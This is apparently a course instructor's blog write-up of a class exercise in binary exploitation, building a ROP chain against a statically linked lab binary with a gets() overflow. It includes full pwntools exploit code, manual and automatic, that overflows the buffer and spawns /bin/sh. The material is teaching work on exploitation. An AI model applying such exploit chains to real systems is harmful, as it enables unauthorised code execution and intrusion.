Hello everyone! It's WittsEnd2. This is going to be a little bit different of a blog post. I teach a class called ENPM809V at the University of Maryland where students learn binary exploitation and secure coding programming principals. This write-up is focused on one of the in-class exercises related to ROP chain. As such, it is structured specific to the exercise; however, I hope you find it useful for learning ROP chain, how the stack works, and various tools like ROPGadget, Ropper, and pwntools.

The binary we are working with is statically compiled, so it is not a ret2libc. It is just a ROP Chain to get /bin/sh to execute.

Writeup

Let's begin by taking a look at the binary and see what we can do. The thing I always like to do first is see how the program behaves when I run it.

None

We can see that the program accepts some input, but can't figure anything else out. It doesn't give much indication about its behavior. Let's reverse-engineer this a little to see what additional information we can find.

None
None

Let's run it through the file utility and checksec to see what information we can get.

We know a few things:

  • This is a 64 bit program
  • It is statically linked — this means it does not rely on shared objects or .so. Everything is going to be contained within the binary.
  • This binary has NX enabled.
  • This binary is not a position-independent executable — this means that functions and heap-based memory always going to load in the same virtual address.
  • Stack Canaries are enabled -(though we are going to see why this is a false positive)

Let's reverse-engineer the binary. I am going to open it in Binary Ninja and reverse-engineer it.

None

We can see that main call vuln, so let's reverse engineer that.

None

This is where it gets interesting. This is the function printing everything we saw. What we can see a few key things that are important:

  • The program accepts input from stdin via the gets function. The gets function is subject to buffer overflows
  • It puts the information into a buffer on the stack.
  • Neither main nor vuln call call __stack_chk_fail — this is used to determine if the canary was overwritten. This means that no canary is present.

This means we have a stack-based buffer overflow vulnerability. Now we need to figure out we need to write to the buffer.

If we were to figure out how much we need by calculating it, this is how we can figure it out:

  1. push rbp saves the base register to the stack (this is for the previous function) - add 8 bytes.
  2. We see the instruction mob rbp, rsp and sub rsp, 0x60. This means we are setting the base register of the function to just after the saved RBP and we are making 0x60 bytes on the stack to store local variables.
  3. We can see that the buffer's address is 0x60 away from RBP from the instruction lea rax, [rbp-0x60 {var_68}]. This means that to get to the return address, we need to do the following computation 0x60+0x8

The other way that we can do this is by using pwndbg's cyclic utility:

None
None
None

Now from here we have to get a shell. We know that we have to build a ROP chain, but there are two approaches to doing it:

  1. Manually lookup the various gadgets.
  2. Utilize pwntools to find the gadgets.

We will go through both methods: first manually and then through pwntools.

So let's think about what we are trying to achieve: we are trying to execute the follwoing:

execve("/bin/sh", 0, 0)

What does this look like in assembly?

mov rdx, 0
mov rsi, 0
mov rdi, 0xaddr_of_binsh
mov rax, 0x3b
syscall

How can we recreate this? The one part that we have control over is the stack — the reason why we have control over the stack is because the buffer overflow. Let's examine the stack for a second. This is what it looks like when we call a function.

|     param 2     |
|     param 1     |
|     Ret Addr    | 
|     Saved RBP   |
|     local var 3 |  <--- RBP
|     local var 2 |
|     local var 1 |  <--- RSP

When we return from the function normally (after calling leave; ret), this is what it ends up looking like:

|                 | <---- RBP
|                 |
|     param 2     |
|     param 1     | <---- RSP
|     Ret Addr    | 
|     Saved RBP   |
|     local var 3 |  
|     local var 2 |
|     local var 1 |

Why is this important? Well we need to think about what the pop instruction does. The pop instruction takes whatever is in the top of the stack and put it into a register. It then shifts RSP by 8 bytes.

Let's take the stack above and run pop rax on it. Let's see what happens:

|                 | <---- RBP
|                 |
|     param 2     | <---- RSP
|     param 1     | 
|     Ret Addr    | 
|     Saved RBP   |
|     local var 3 |  
|     local var 2 |
|     local var 1 | 

RAX = param 1

With this logic here, we can recreate the execution of /bin/sh with the following:

|     addr_of_syscall        |
|     0x3b (execve)          |
|     addr_of _pop_rax_ret   |
|     addr_of_/bin/sh        |
|     addr_of_pop_rdi_ret    | 
|     0x0                    |
|     addr_of_pop_rsi_ret    | 
|     0x0                    | <---- RSP
|     addr_of_pop_rdx_ret    | 
|     Saved RBP              |
|     local var 3            |  
|     local var 2            |
|     local var 1            | 

RAX = param 1

How can we find the gadgets manually? We can search for them via tools like ROPGadget or Ropper.

None

We can take ROP Gadgets we like (for example, I like the one at 0x4017cf because there aren't any extranious instructions) and create our payload!

This is what the final payload (with a little assistance from pwntools)

pop_rax = p64(0x449307)
pop_rdi = p64(0x00000000004018c2)
pop_rsi = p64(0x40f23e)
pop_rdx = p64(0x4017cf)
execve_sys_num = p64(0x3b)
zero = p64(0)
binsh = p64(next(exe.search(b"/bin/sh"))) # Instead of maanually looking for /bin/sh manually, I am having pwntools look at it for me. 
syscall = p64(0x0000000000416ee4)
# One way to craft our final payload
payload = b"A"*104+pop_rax+execve_sys_num+pop_rdi+binsh+pop_rdx+zero+pop_rsi+zero+syscall 
#Another way utilizing pwntools fit(). 
payload = fit([
    b"\x90"*104,
    pop_rax, # Set syscall number
    execve_sys_num,
    pop_rdi, # Set first parameter
    binsh,
    pop_rdx, # Set third parameter
    zero,
    pop_rsi, # Set second parameter
    zero,
    syscall])
io.recvuntil(b"What would you like to do today?")
io.sendline(payload)

What if we are super lazy and want pwntools to actually find the rop gadgets for us (or we are doing it because we are having difficulty crafting it manually)

Here is how you would util

# this signifies to analyze binary for ROP gadgets
rop = ROP([exe])
# Ssearch for /bin/sh and contstruct a ROP chain execute execve("/bin/sh", 0, 0)
binsh = next(exe.search(b"/bin/sh"))
rop.execve(binsh, 0, 0)
log.info("Rop is the following:\n {}".format(rop.dump()))
log.info("Rop dump = {}".format(rop.chain()))
io.recvuntil(b"What would you like to do today?")
# Create out payload and get an interactive shell
payload = b"\x90"*104+rop.chain()
io.sendline(payload)
io.interactive()

After crafting your payload, your terminal should look similar (granted I am working on local host and not on pwn.college)

None